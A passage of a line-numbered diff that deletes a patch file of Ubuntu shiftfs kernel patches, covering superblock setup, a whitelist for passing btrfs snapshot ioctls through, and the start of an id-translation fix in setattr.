2853 |
-+ .llseek = shiftfs_llseek, |
2854 |
-+ .open = shiftfs_open, |
2855 |
-+ .read = generic_read_dir, |
2856 |
-+ .release = shiftfs_release, |
2857 |
-+ .unlocked_ioctl = shiftfs_ioctl, |
2858 |
-+}; |
2859 |
-+ |
2860 |
-+static const struct address_space_operations shiftfs_aops = { |
2861 |
-+ /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO */ |
2862 |
-+ .direct_IO = noop_direct_IO, |
2863 |
-+}; |
2864 |
-+ |
2865 |
-+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino, |
2866 |
-+ umode_t mode, dev_t dev, struct dentry *dentry) |
2867 |
-+{ |
2868 |
-+ struct inode *loweri; |
2869 |
-+ |
2870 |
-+ inode->i_ino = ino; |
2871 |
-+ inode->i_flags |= S_NOCMTIME; |
2872 |
-+ |
2873 |
-+ mode &= S_IFMT; |
2874 |
-+ inode->i_mode = mode; |
2875 |
-+ switch (mode & S_IFMT) { |
2876 |
-+ case S_IFDIR: |
2877 |
-+ inode->i_op = &shiftfs_dir_inode_operations; |
2878 |
-+ inode->i_fop = &shiftfs_dir_operations; |
2879 |
-+ break; |
2880 |
-+ case S_IFLNK: |
2881 |
-+ inode->i_op = &shiftfs_symlink_inode_operations; |
2882 |
-+ break; |
2883 |
-+ case S_IFREG: |
2884 |
-+ inode->i_op = &shiftfs_file_inode_operations; |
2885 |
-+ inode->i_fop = &shiftfs_file_operations; |
2886 |
-+ inode->i_mapping->a_ops = &shiftfs_aops; |
2887 |
-+ break; |
2888 |
-+ default: |
2889 |
-+ inode->i_op = &shiftfs_special_inode_operations; |
2890 |
-+ init_special_inode(inode, mode, dev); |
2891 |
-+ break; |
2892 |
-+ } |
2893 |
-+ |
2894 |
-+ if (!dentry) |
2895 |
-+ return; |
2896 |
-+ |
2897 |
-+ loweri = dentry->d_inode; |
2898 |
-+ if (!loweri->i_op->get_link) |
2899 |
-+ inode->i_opflags |= IOP_NOFOLLOW; |
2900 |
-+ |
2901 |
-+ shiftfs_copyattr(loweri, inode); |
2902 |
-+ shiftfs_copyflags(loweri, inode); |
2903 |
-+ set_nlink(inode, loweri->i_nlink); |
2904 |
-+} |
2905 |
-+ |
2906 |
-+static int shiftfs_show_options(struct seq_file *m, struct dentry *dentry) |
2907 |
-+{ |
2908 |
-+ struct super_block *sb = dentry->d_sb; |
2909 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
2910 |
-+ |
2911 |
-+ if (sbinfo->mark) |
2912 |
-+ seq_show_option(m, "mark", NULL); |
2913 |
-+ |
2914 |
-+ if (sbinfo->passthrough) |
2915 |
-+ seq_printf(m, ",passthrough=%u", sbinfo->passthrough); |
2916 |
-+ |
2917 |
-+ return 0; |
2918 |
-+} |
2919 |
-+ |
2920 |
-+static int shiftfs_statfs(struct dentry *dentry, struct kstatfs *buf) |
2921 |
-+{ |
2922 |
-+ struct super_block *sb = dentry->d_sb; |
2923 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
2924 |
-+ struct dentry *root = sb->s_root; |
2925 |
-+ struct dentry *realroot = root->d_fsdata; |
2926 |
-+ struct path realpath = { .mnt = sbinfo->mnt, .dentry = realroot }; |
2927 |
-+ int err; |
2928 |
-+ |
2929 |
-+ err = vfs_statfs(&realpath, buf); |
2930 |
- if (err) |
2931 |
-- goto out; |
2932 |
-+ return err; |
2933 |
- |
2934 |
-- /* to mark a mount point, must be real root */ |
2935 |
-- if (ssi->mark && !capable(CAP_SYS_ADMIN)) |
2936 |
-- goto out; |
2937 |
-+ if (!shiftfs_passthrough_statfs(sbinfo)) |
2938 |
-+ buf->f_type = sb->s_magic; |
2939 |
- |
2940 |
-- /* else to mount a mark, must be userns admin */ |
2941 |
-- if (!ssi->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN)) |
2942 |
-- goto out; |
2943 |
-+ return 0; |
2944 |
-+} |
2945 |
- |
2946 |
-- err = kern_path(name, LOOKUP_FOLLOW, &path); |
2947 |
-+static void shiftfs_evict_inode(struct inode *inode) |
2948 |
-+{ |
2949 |
-+ struct inode *loweri = inode->i_private; |
2950 |
-+ |
2951 |
-+ clear_inode(inode); |
2952 |
-+ |
2953 |
-+ if (loweri) |
2954 |
-+ iput(loweri); |
2955 |
-+} |
2956 |
-+ |
2957 |
-+static void shiftfs_put_super(struct super_block *sb) |
2958 |
-+{ |
2959 |
-+ struct shiftfs_super_info *sbinfo = sb->s_fs_info; |
2960 |
-+ |
2961 |
-+ if (sbinfo) { |
2962 |
-+ mntput(sbinfo->mnt); |
2963 |
-+ put_cred(sbinfo->creator_cred); |
2964 |
-+ kfree(sbinfo); |
2965 |
-+ } |
2966 |
-+} |
2967 |
-+ |
2968 |
-+static const struct xattr_handler shiftfs_xattr_handler = { |
2969 |
-+ .prefix = "", |
2970 |
-+ .get = shiftfs_xattr_get, |
2971 |
-+ .set = shiftfs_xattr_set, |
2972 |
-+}; |
2973 |
-+ |
2974 |
-+const struct xattr_handler *shiftfs_xattr_handlers[] = { |
2975 |
-+#ifdef CONFIG_SHIFT_FS_POSIX_ACL |
2976 |
-+ &shiftfs_posix_acl_access_xattr_handler, |
2977 |
-+ &shiftfs_posix_acl_default_xattr_handler, |
2978 |
-+#endif |
2979 |
-+ &shiftfs_xattr_handler, |
2980 |
-+ NULL |
2981 |
-+}; |
2982 |
-+ |
2983 |
-+static inline bool passthrough_is_subset(int old_flags, int new_flags) |
2984 |
-+{ |
2985 |
-+ if ((new_flags & old_flags) != new_flags) |
2986 |
-+ return false; |
2987 |
-+ |
2988 |
-+ return true; |
2989 |
-+} |
2990 |
-+ |
2991 |
-+static int shiftfs_remount(struct super_block *sb, int *flags, char *data) |
2992 |
-+{ |
2993 |
-+ int err; |
2994 |
-+ struct shiftfs_super_info new = {}; |
2995 |
-+ struct shiftfs_super_info *info = sb->s_fs_info; |
2996 |
-+ |
2997 |
-+ err = shiftfs_parse_mount_options(&new, data); |
2998 |
- if (err) |
2999 |
-- goto out; |
3000 |
-+ return err; |
3001 |
-+ |
3002 |
-+ /* Mark mount option cannot be changed. */ |
3003 |
-+ if (info->mark || (info->mark != new.mark)) |
3004 |
-+ return -EPERM; |
3005 |
-+ |
3006 |
-+ if (info->passthrough != new.passthrough) { |
3007 |
-+ /* Don't allow exceeding passthrough options of mark mount. */ |
3008 |
-+ if (!passthrough_is_subset(info->info_mark->passthrough, |
3009 |
-+ info->passthrough)) |
3010 |
-+ return -EPERM; |
3011 |
-+ |
3012 |
-+ info->passthrough = new.passthrough; |
3013 |
-+ } |
3014 |
-+ |
3015 |
-+ return 0; |
3016 |
-+} |
3017 |
- |
3018 |
-- err = -EPERM; |
3019 |
-+static const struct super_operations shiftfs_super_ops = { |
3020 |
-+ .put_super = shiftfs_put_super, |
3021 |
-+ .show_options = shiftfs_show_options, |
3022 |
-+ .statfs = shiftfs_statfs, |
3023 |
-+ .remount_fs = shiftfs_remount, |
3024 |
-+ .evict_inode = shiftfs_evict_inode, |
3025 |
-+}; |
3026 |
-+ |
3027 |
-+struct shiftfs_data { |
3028 |
-+ void *data; |
3029 |
-+ const char *path; |
3030 |
-+}; |
3031 |
-+ |
3032 |
-+static int shiftfs_fill_super(struct super_block *sb, void *raw_data, |
3033 |
-+ int silent) |
3034 |
-+{ |
3035 |
-+ int err; |
3036 |
-+ struct path path = {}; |
3037 |
-+ struct shiftfs_super_info *sbinfo_mp; |
3038 |
-+ char *name = NULL; |
3039 |
-+ struct inode *inode = NULL; |
3040 |
-+ struct dentry *dentry = NULL; |
3041 |
-+ struct shiftfs_data *data = raw_data; |
3042 |
-+ struct shiftfs_super_info *sbinfo = NULL; |
3043 |
-+ |
3044 |
-+ if (!data->path) |
3045 |
-+ return -EINVAL; |
3046 |
-+ |
3047 |
-+ sb->s_fs_info = kzalloc(sizeof(*sbinfo), GFP_KERNEL); |
3048 |
-+ if (!sb->s_fs_info) |
3049 |
-+ return -ENOMEM; |
3050 |
-+ sbinfo = sb->s_fs_info; |
3051 |
-+ |
3052 |
-+ err = shiftfs_parse_mount_options(sbinfo, data->data); |
3053 |
-+ if (err) |
3054 |
-+ return err; |
3055 |
-+ |
3056 |
-+ /* to mount a mark, must be userns admin */ |
3057 |
-+ if (!sbinfo->mark && !ns_capable(current_user_ns(), CAP_SYS_ADMIN)) |
3058 |
-+ return -EPERM; |
3059 |
-+ |
3060 |
-+ name = kstrdup(data->path, GFP_KERNEL); |
3061 |
-+ if (!name) |
3062 |
-+ return -ENOMEM; |
3063 |
-+ |
3064 |
-+ err = kern_path(name, LOOKUP_FOLLOW, &path); |
3065 |
-+ if (err) |
3066 |
-+ goto out_free_name; |
3067 |
- |
3068 |
- if (!S_ISDIR(path.dentry->d_inode->i_mode)) { |
3069 |
- err = -ENOTDIR; |
3070 |
-- goto out_put; |
3071 |
-+ goto out_put_path; |
3072 |
- } |
3073 |
- |
3074 |
-- sb->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1; |
3075 |
-- if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) { |
3076 |
-- printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n"); |
3077 |
-- err = -EINVAL; |
3078 |
-- goto out_put; |
3079 |
-- } |
3080 |
-+ if (sbinfo->mark) { |
3081 |
-+ struct super_block *lower_sb = path.mnt->mnt_sb; |
3082 |
-+ |
3083 |
-+ /* to mark a mount point, must root wrt lower s_user_ns */ |
3084 |
-+ if (!ns_capable(lower_sb->s_user_ns, CAP_SYS_ADMIN)) { |
3085 |
-+ err = -EPERM; |
3086 |
-+ goto out_put_path; |
3087 |
-+ } |
3088 |
- |
3089 |
-- if (ssi->mark) { |
3090 |
- /* |
3091 |
- * this part is visible unshifted, so make sure no |
3092 |
- * executables that could be used to give suid |
3093 |
- * privileges |
3094 |
- */ |
3095 |
- sb->s_iflags = SB_I_NOEXEC; |
3096 |
-- ssi->mnt = path.mnt; |
3097 |
-- dentry = path.dentry; |
3098 |
-- } else { |
3099 |
-- struct shiftfs_super_info *mp_ssi; |
3100 |
- |
3101 |
- /* |
3102 |
-- * this leg executes if we're admin capable in |
3103 |
-- * the namespace, so be very careful |
3104 |
-+ * Handle nesting of shiftfs mounts by referring this mark |
3105 |
-+ * mount back to the original mark mount. This is more |
3106 |
-+ * efficient and alleviates concerns about stack depth. |
3107 |
- */ |
3108 |
-+ if (lower_sb->s_magic == SHIFTFS_MAGIC) { |
3109 |
-+ sbinfo_mp = lower_sb->s_fs_info; |
3110 |
-+ |
3111 |
-+ /* Doesn't make sense to mark a mark mount */ |
3112 |
-+ if (sbinfo_mp->mark) { |
3113 |
-+ err = -EINVAL; |
3114 |
-+ goto out_put_path; |
3115 |
-+ } |
3116 |
-+ |
3117 |
-+ if (!passthrough_is_subset(sbinfo_mp->passthrough, |
3118 |
-+ sbinfo->passthrough)) { |
3119 |
-+ err = -EPERM; |
3120 |
-+ goto out_put_path; |
3121 |
-+ } |
3122 |
-+ |
3123 |
-+ sbinfo->mnt = mntget(sbinfo_mp->mnt); |
3124 |
-+ dentry = dget(path.dentry->d_fsdata); |
3125 |
-+ } else { |
3126 |
-+ sbinfo->mnt = mntget(path.mnt); |
3127 |
-+ dentry = dget(path.dentry); |
3128 |
-+ } |
3129 |
-+ |
3130 |
-+ sbinfo->creator_cred = prepare_creds(); |
3131 |
-+ if (!sbinfo->creator_cred) { |
3132 |
-+ err = -ENOMEM; |
3133 |
-+ goto out_put_path; |
3134 |
-+ } |
3135 |
-+ } else { |
3136 |
-+ /* |
3137 |
-+ * This leg executes if we're admin capable in the namespace, |
3138 |
-+ * so be very careful. |
3139 |
-+ */ |
3140 |
-+ err = -EPERM; |
3141 |
- if (path.dentry->d_sb->s_magic != SHIFTFS_MAGIC) |
3142 |
-- goto out_put; |
3143 |
-- mp_ssi = path.dentry->d_sb->s_fs_info; |
3144 |
-- if (!mp_ssi->mark) |
3145 |
-- goto out_put; |
3146 |
-- ssi->mnt = mntget(mp_ssi->mnt); |
3147 |
-+ goto out_put_path; |
3148 |
-+ |
3149 |
-+ sbinfo_mp = path.dentry->d_sb->s_fs_info; |
3150 |
-+ if (!sbinfo_mp->mark) |
3151 |
-+ goto out_put_path; |
3152 |
-+ |
3153 |
-+ if (!passthrough_is_subset(sbinfo_mp->passthrough, |
3154 |
-+ sbinfo->passthrough)) |
3155 |
-+ goto out_put_path; |
3156 |
-+ |
3157 |
-+ sbinfo->mnt = mntget(sbinfo_mp->mnt); |
3158 |
-+ sbinfo->creator_cred = get_cred(sbinfo_mp->creator_cred); |
3159 |
- dentry = dget(path.dentry->d_fsdata); |
3160 |
-- path_put(&path); |
3161 |
-+ sbinfo->info_mark = sbinfo_mp; |
3162 |
-+ } |
3163 |
-+ |
3164 |
-+ sb->s_stack_depth = dentry->d_sb->s_stack_depth + 1; |
3165 |
-+ if (sb->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) { |
3166 |
-+ printk(KERN_ERR "shiftfs: maximum stacking depth exceeded\n"); |
3167 |
-+ err = -EINVAL; |
3168 |
-+ goto out_put_path; |
3169 |
-+ } |
3170 |
-+ |
3171 |
-+ inode = new_inode(sb); |
3172 |
-+ if (!inode) { |
3173 |
-+ err = -ENOMEM; |
3174 |
-+ goto out_put_path; |
3175 |
- } |
3176 |
-- ssi->userns = get_user_ns(dentry->d_sb->s_user_ns); |
3177 |
-- sb->s_fs_info = ssi; |
3178 |
-+ shiftfs_fill_inode(inode, dentry->d_inode->i_ino, S_IFDIR, 0, dentry); |
3179 |
-+ |
3180 |
-+ ihold(dentry->d_inode); |
3181 |
-+ inode->i_private = dentry->d_inode; |
3182 |
-+ |
3183 |
- sb->s_magic = SHIFTFS_MAGIC; |
3184 |
- sb->s_op = &shiftfs_super_ops; |
3185 |
- sb->s_xattr = shiftfs_xattr_handlers; |
3186 |
- sb->s_d_op = &shiftfs_dentry_ops; |
3187 |
-- sb->s_root = d_make_root(shiftfs_new_inode(sb, S_IFDIR, dentry)); |
3188 |
-+ sb->s_flags |= SB_POSIXACL; |
3189 |
-+ sb->s_root = d_make_root(inode); |
3190 |
-+ if (!sb->s_root) { |
3191 |
-+ err = -ENOMEM; |
3192 |
-+ goto out_put_path; |
3193 |
-+ } |
3194 |
-+ |
3195 |
- sb->s_root->d_fsdata = dentry; |
3196 |
-+ sbinfo->userns = get_user_ns(dentry->d_sb->s_user_ns); |
3197 |
-+ shiftfs_copyattr(dentry->d_inode, sb->s_root->d_inode); |
3198 |
- |
3199 |
-- return 0; |
3200 |
-+ dentry = NULL; |
3201 |
-+ err = 0; |
3202 |
- |
3203 |
-- out_put: |
3204 |
-+out_put_path: |
3205 |
- path_put(&path); |
3206 |
-- out: |
3207 |
-+ |
3208 |
-+out_free_name: |
3209 |
- kfree(name); |
3210 |
-- kfree(ssi); |
3211 |
-+ |
3212 |
-+ dput(dentry); |
3213 |
-+ |
3214 |
- return err; |
3215 |
- } |
3216 |
- |
3217 |
-@@ -764,17 +1869,26 @@ static struct file_system_type shiftfs_type = { |
3218 |
- |
3219 |
- static int __init shiftfs_init(void) |
3220 |
- { |
3221 |
-+ shiftfs_file_info_cache = kmem_cache_create( |
3222 |
-+ "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0, |
3223 |
-+ SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL); |
3224 |
-+ if (!shiftfs_file_info_cache) |
3225 |
-+ return -ENOMEM; |
3226 |
-+ |
3227 |
- return register_filesystem(&shiftfs_type); |
3228 |
- } |
3229 |
- |
3230 |
- static void __exit shiftfs_exit(void) |
3231 |
- { |
3232 |
- unregister_filesystem(&shiftfs_type); |
3233 |
-+ kmem_cache_destroy(shiftfs_file_info_cache); |
3234 |
- } |
3235 |
- |
3236 |
- MODULE_ALIAS_FS("shiftfs"); |
3237 |
- MODULE_AUTHOR("James Bottomley"); |
3238 |
--MODULE_DESCRIPTION("uid/gid shifting bind filesystem"); |
3239 |
-+MODULE_AUTHOR("Seth Forshee <seth.forshee@×××××××××.com>"); |
3240 |
-+MODULE_AUTHOR("Christian Brauner <christian.brauner@××××××.com>"); |
3241 |
-+MODULE_DESCRIPTION("id shifting filesystem"); |
3242 |
- MODULE_LICENSE("GPL v2"); |
3243 |
- module_init(shiftfs_init) |
3244 |
- module_exit(shiftfs_exit) |
3245 |
--- |
3246 |
-2.39.2 |
3247 |
- |
3248 |
-From a2e0843dcd21746dfc23df95ab8c93af942fac6b Mon Sep 17 00:00:00 2001 |
3249 |
-From: Christian Brauner <christian@×××××××.io> |
3250 |
-Date: Thu, 4 Apr 2019 15:39:13 +0200 |
3251 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: support some btrfs ioctls |
3252 |
-Cc: mpagano@g.o |
3253 |
- |
3254 |
-BugLink: https://bugs.launchpad.net/bugs/1823186 |
3255 |
- |
3256 |
-Shiftfs currently only passes through a few ioctl()s to the underlay. These |
3257 |
-are ioctl()s that are generally considered safe. Doing it for random |
3258 |
-ioctl()s would be a security issue. Permissions for ioctl()s are not |
3259 |
-checked before the filesystem gets involved so if we were to override |
3260 |
-credentials we e.g. could do a btrfs tree search in the underlay which we |
3261 |
-normally wouldn't be allowed to do. |
3262 |
-However, the btrfs filesystem allows unprivileged users to perform various |
3263 |
-operations through its ioctl() interface. With shiftfs these ioctl() are |
3264 |
-currently not working. To not regress users that expect btrfs ioctl()s to |
3265 |
-work in unprivileged containers we can create a whitelist of ioctl()s that |
3266 |
-we allow to go through to the underlay and for which we also switch |
3267 |
-credentials. |
3268 |
-The main problem is how we switch credentials. Since permissions checks for |
3269 |
-ioctl()s are |
3270 |
-done by the actual file system and not by the vfs this would mean that any |
3271 |
-additional capable(<cap>)-based checks done by the filesystem would |
3272 |
-unconditonally pass after we switch credentials. So to make credential |
3273 |
-switching safe we drop *all* capabilities when switching credentials. This |
3274 |
-means that only inode-based permission checks will pass. |
3275 |
- |
3276 |
-Btrfs also allows unprivileged users to delete snapshots when the |
3277 |
-filesystem is mounted with user_subvol_rm_allowed mount option or if the |
3278 |
-the callers is capable(CAP_SYS_ADMIN). The latter should never be the case |
3279 |
-with unprivileged users. To make sure we only allow removal of snapshots in |
3280 |
-the former case we drop all capabilities (see above) when switching |
3281 |
-credentials. |
3282 |
- |
3283 |
-Additonally, btrfs allows the creation of snapshots. To make this work we |
3284 |
-need to be (too) clever. When doing snapshots btrfs requires that an fd to |
3285 |
-the directory the snapshot is supposed to be created in be passed along. |
3286 |
-This fd obviously references a shiftfs file and as such a shiftfs dentry |
3287 |
-and inode. This will cause btrfs to yell EXDEV. To circumnavigate this |
3288 |
-problem we need to silently temporarily replace the passed in fd with an fd |
3289 |
-that refers to a file that references a btrfs dentry and inode. |
3290 |
- |
3291 |
-Signed-off-by: Christian Brauner <christian.brauner@××××××.com> |
3292 |
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com> |
3293 |
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com> |
3294 |
-Signed-off-by: Mike Pagano <mpagano@g.o> |
3295 |
---- |
3296 |
- fs/shiftfs.c | 156 +++++++++++++++++++++++++++++++++++++++++++++++++-- |
3297 |
- 1 file changed, 151 insertions(+), 5 deletions(-) |
3298 |
- |
3299 |
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c |
3300 |
-index ad1ae5bce6c1..678cad30f4a5 100644 |
3301 |
---- a/fs/shiftfs.c |
3302 |
-+++ b/fs/shiftfs.c |
3303 |
-@@ -1,6 +1,8 @@ |
3304 |
-+#include <linux/btrfs.h> |
3305 |
- #include <linux/capability.h> |
3306 |
- #include <linux/cred.h> |
3307 |
- #include <linux/mount.h> |
3308 |
-+#include <linux/fdtable.h> |
3309 |
- #include <linux/file.h> |
3310 |
- #include <linux/fs.h> |
3311 |
- #include <linux/namei.h> |
3312 |
-@@ -41,7 +43,21 @@ static void shiftfs_fill_inode(struct inode *inode, unsigned long ino, |
3313 |
- |
3314 |
- #define SHIFTFS_PASSTHROUGH_NONE 0 |
3315 |
- #define SHIFTFS_PASSTHROUGH_STAT 1 |
3316 |
--#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT) |
3317 |
-+#define SHIFTFS_PASSTHROUGH_IOCTL 2 |
3318 |
-+#define SHIFTFS_PASSTHROUGH_ALL \ |
3319 |
-+ (SHIFTFS_PASSTHROUGH_STAT | SHIFTFS_PASSTHROUGH_IOCTL) |
3320 |
-+ |
3321 |
-+static inline bool shiftfs_passthrough_ioctls(struct shiftfs_super_info *info) |
3322 |
-+{ |
3323 |
-+ if (!(info->passthrough & SHIFTFS_PASSTHROUGH_IOCTL)) |
3324 |
-+ return false; |
3325 |
-+ |
3326 |
-+ if (info->info_mark && |
3327 |
-+ !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_IOCTL)) |
3328 |
-+ return false; |
3329 |
-+ |
3330 |
-+ return true; |
3331 |
-+} |
3332 |
- |
3333 |
- static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info) |
3334 |
- { |
3335 |
-@@ -1345,18 +1361,120 @@ static inline void shiftfs_revert_ioctl_creds(const struct cred *oldcred, |
3336 |
- return shiftfs_revert_object_creds(oldcred, newcred); |
3337 |
- } |
3338 |
- |
3339 |
-+static inline bool is_btrfs_snap_ioctl(int cmd) |
3340 |
-+{ |
3341 |
-+ if ((cmd == BTRFS_IOC_SNAP_CREATE) || (cmd == BTRFS_IOC_SNAP_CREATE_V2)) |
3342 |
-+ return true; |
3343 |
-+ |
3344 |
-+ return false; |
3345 |
-+} |
3346 |
-+ |
3347 |
-+static int shiftfs_btrfs_ioctl_fd_restore(int cmd, struct fd lfd, int fd, |
3348 |
-+ void __user *arg, |
3349 |
-+ struct btrfs_ioctl_vol_args *v1, |
3350 |
-+ struct btrfs_ioctl_vol_args_v2 *v2) |
3351 |
-+{ |
3352 |
-+ int ret; |
3353 |
-+ |
3354 |
-+ if (!is_btrfs_snap_ioctl(cmd)) |
3355 |
-+ return 0; |
3356 |
-+ |
3357 |
-+ if (cmd == BTRFS_IOC_SNAP_CREATE) |
3358 |
-+ ret = copy_to_user(arg, v1, sizeof(*v1)); |
3359 |
-+ else |
3360 |
-+ ret = copy_to_user(arg, v2, sizeof(*v2)); |
3361 |
-+ |
3362 |
-+ fdput(lfd); |
3363 |
-+ __close_fd(current->files, fd); |
3364 |
-+ kfree(v1); |
3365 |
-+ kfree(v2); |
3366 |
-+ |
3367 |
-+ return ret; |
3368 |
-+} |
3369 |
-+ |
3370 |
-+static int shiftfs_btrfs_ioctl_fd_replace(int cmd, void __user *arg, |
3371 |
-+ struct btrfs_ioctl_vol_args **b1, |
3372 |
-+ struct btrfs_ioctl_vol_args_v2 **b2, |
3373 |
-+ struct fd *lfd, |
3374 |
-+ int *newfd) |
3375 |
-+{ |
3376 |
-+ int oldfd, ret; |
3377 |
-+ struct fd src; |
3378 |
-+ struct btrfs_ioctl_vol_args *v1 = NULL; |
3379 |
-+ struct btrfs_ioctl_vol_args_v2 *v2 = NULL; |
3380 |
-+ |
3381 |
-+ if (!is_btrfs_snap_ioctl(cmd)) |
3382 |
-+ return 0; |
3383 |
-+ |
3384 |
-+ if (cmd == BTRFS_IOC_SNAP_CREATE) { |
3385 |
-+ v1 = memdup_user(arg, sizeof(*v1)); |
3386 |
-+ if (IS_ERR(v1)) |
3387 |
-+ return PTR_ERR(v1); |
3388 |
-+ oldfd = v1->fd; |
3389 |
-+ *b1 = v1; |
3390 |
-+ } else { |
3391 |
-+ v2 = memdup_user(arg, sizeof(*v2)); |
3392 |
-+ if (IS_ERR(v2)) |
3393 |
-+ return PTR_ERR(v2); |
3394 |
-+ oldfd = v2->fd; |
3395 |
-+ *b2 = v2; |
3396 |
-+ } |
3397 |
-+ |
3398 |
-+ src = fdget(oldfd); |
3399 |
-+ if (!src.file) |
3400 |
-+ return -EINVAL; |
3401 |
-+ |
3402 |
-+ ret = shiftfs_real_fdget(src.file, lfd); |
3403 |
-+ fdput(src); |
3404 |
-+ if (ret) |
3405 |
-+ return ret; |
3406 |
-+ |
3407 |
-+ *newfd = get_unused_fd_flags(lfd->file->f_flags); |
3408 |
-+ if (*newfd < 0) { |
3409 |
-+ fdput(*lfd); |
3410 |
-+ return *newfd; |
3411 |
-+ } |
3412 |
-+ |
3413 |
-+ fd_install(*newfd, lfd->file); |
3414 |
-+ |
3415 |
-+ if (cmd == BTRFS_IOC_SNAP_CREATE) { |
3416 |
-+ v1->fd = *newfd; |
3417 |
-+ ret = copy_to_user(arg, v1, sizeof(*v1)); |
3418 |
-+ v1->fd = oldfd; |
3419 |
-+ } else { |
3420 |
-+ v2->fd = *newfd; |
3421 |
-+ ret = copy_to_user(arg, v2, sizeof(*v2)); |
3422 |
-+ v2->fd = oldfd; |
3423 |
-+ } |
3424 |
-+ |
3425 |
-+ if (ret) |
3426 |
-+ shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2); |
3427 |
-+ |
3428 |
-+ return ret; |
3429 |
-+} |
3430 |
-+ |
3431 |
- static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
3432 |
- unsigned long arg) |
3433 |
- { |
3434 |
-- long ret = 0; |
3435 |
- struct fd lowerfd; |
3436 |
- struct cred *newcred; |
3437 |
- const struct cred *oldcred; |
3438 |
-+ int newfd = -EBADF; |
3439 |
-+ long err = 0, ret = 0; |
3440 |
-+ void __user *argp = (void __user *)arg; |
3441 |
-+ struct fd btrfs_lfd = {}; |
3442 |
- struct super_block *sb = file->f_path.dentry->d_sb; |
3443 |
-+ struct btrfs_ioctl_vol_args *btrfs_v1 = NULL; |
3444 |
-+ struct btrfs_ioctl_vol_args_v2 *btrfs_v2 = NULL; |
3445 |
-+ |
3446 |
-+ ret = shiftfs_btrfs_ioctl_fd_replace(cmd, argp, &btrfs_v1, &btrfs_v2, |
3447 |
-+ &btrfs_lfd, &newfd); |
3448 |
-+ if (ret < 0) |
3449 |
-+ return ret; |
3450 |
- |
3451 |
- ret = shiftfs_real_fdget(file, &lowerfd); |
3452 |
- if (ret) |
3453 |
-- return ret; |
3454 |
-+ goto out_restore; |
3455 |
- |
3456 |
- ret = shiftfs_override_ioctl_creds(sb, &oldcred, &newcred); |
3457 |
- if (ret) |
3458 |
-@@ -1372,9 +1490,33 @@ static long shiftfs_real_ioctl(struct file *file, unsigned int cmd, |
3459 |
- out_fdput: |
3460 |
- fdput(lowerfd); |
3461 |
- |
3462 |
-+out_restore: |
3463 |
-+ err = shiftfs_btrfs_ioctl_fd_restore(cmd, btrfs_lfd, newfd, argp, |
3464 |
-+ btrfs_v1, btrfs_v2); |
3465 |
-+ if (!ret) |
3466 |
-+ ret = err; |
3467 |
-+ |
3468 |
- return ret; |
3469 |
- } |
3470 |
- |
3471 |
-+static bool in_ioctl_whitelist(int flag) |
3472 |
-+{ |
3473 |
-+ switch (flag) { |
3474 |
-+ case BTRFS_IOC_SNAP_CREATE: |
3475 |
-+ return true; |
3476 |
-+ case BTRFS_IOC_SNAP_CREATE_V2: |
3477 |
-+ return true; |
3478 |
-+ case BTRFS_IOC_SUBVOL_CREATE: |
3479 |
-+ return true; |
3480 |
-+ case BTRFS_IOC_SUBVOL_CREATE_V2: |
3481 |
-+ return true; |
3482 |
-+ case BTRFS_IOC_SNAP_DESTROY: |
3483 |
-+ return true; |
3484 |
-+ } |
3485 |
-+ |
3486 |
-+ return false; |
3487 |
-+} |
3488 |
-+ |
3489 |
- static long shiftfs_ioctl(struct file *file, unsigned int cmd, |
3490 |
- unsigned long arg) |
3491 |
- { |
3492 |
-@@ -1386,7 +1528,9 @@ static long shiftfs_ioctl(struct file *file, unsigned int cmd, |
3493 |
- case FS_IOC_SETFLAGS: |
3494 |
- break; |
3495 |
- default: |
3496 |
-- return -ENOTTY; |
3497 |
-+ if (!in_ioctl_whitelist(cmd) || |
3498 |
-+ !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info)) |
3499 |
-+ return -ENOTTY; |
3500 |
- } |
3501 |
- |
3502 |
- return shiftfs_real_ioctl(file, cmd, arg); |
3503 |
-@@ -1403,7 +1547,9 @@ static long shiftfs_compat_ioctl(struct file *file, unsigned int cmd, |
3504 |
- case FS_IOC32_SETFLAGS: |
3505 |
- break; |
3506 |
- default: |
3507 |
-- return -ENOIOCTLCMD; |
3508 |
-+ if (!in_ioctl_whitelist(cmd) || |
3509 |
-+ !shiftfs_passthrough_ioctls(file->f_path.dentry->d_sb->s_fs_info)) |
3510 |
-+ return -ENOIOCTLCMD; |
3511 |
- } |
3512 |
- |
3513 |
- return shiftfs_real_ioctl(file, cmd, arg); |
3514 |
--- |
3515 |
-2.39.2 |
3516 |
- |
3517 |
-From 7e64c9484f2524943cde1164852c1888312c010f Mon Sep 17 00:00:00 2001 |
3518 |
-From: Seth Forshee <seth.forshee@×××××××××.com> |
3519 |
-Date: Thu, 11 Apr 2019 07:31:04 -0500 |
3520 |
-Subject: [PATCH] UBUNTU: SAUCE: shiftfs: use translated ids when chaning lower |
3521 |
- fs attrs |
3522 |
-Cc: mpagano@g.o |
3523 |
- |
3524 |
-BugLink: https://bugs.launchpad.net/bugs/1824350 |
3525 |
- |
3526 |
-shiftfs_setattr() is preparing a new set of attributes with the |
3527 |
-owner translated for the lower fs, but it then passes the |
3528 |
-original attrs. As a result the owner is set to the untranslated |
3529 |
-owner, which causes the shiftfs inodes to also have incorrect |
3530 |
-ids. For example: |
3531 |
- |
3532 |
- # mkdir dir |
3533 |
- # touch file |
3534 |
- # ls -lh dir file |
3535 |
- drwxr-xr-x 2 root root 4.0K Apr 11 13:05 dir |
3536 |
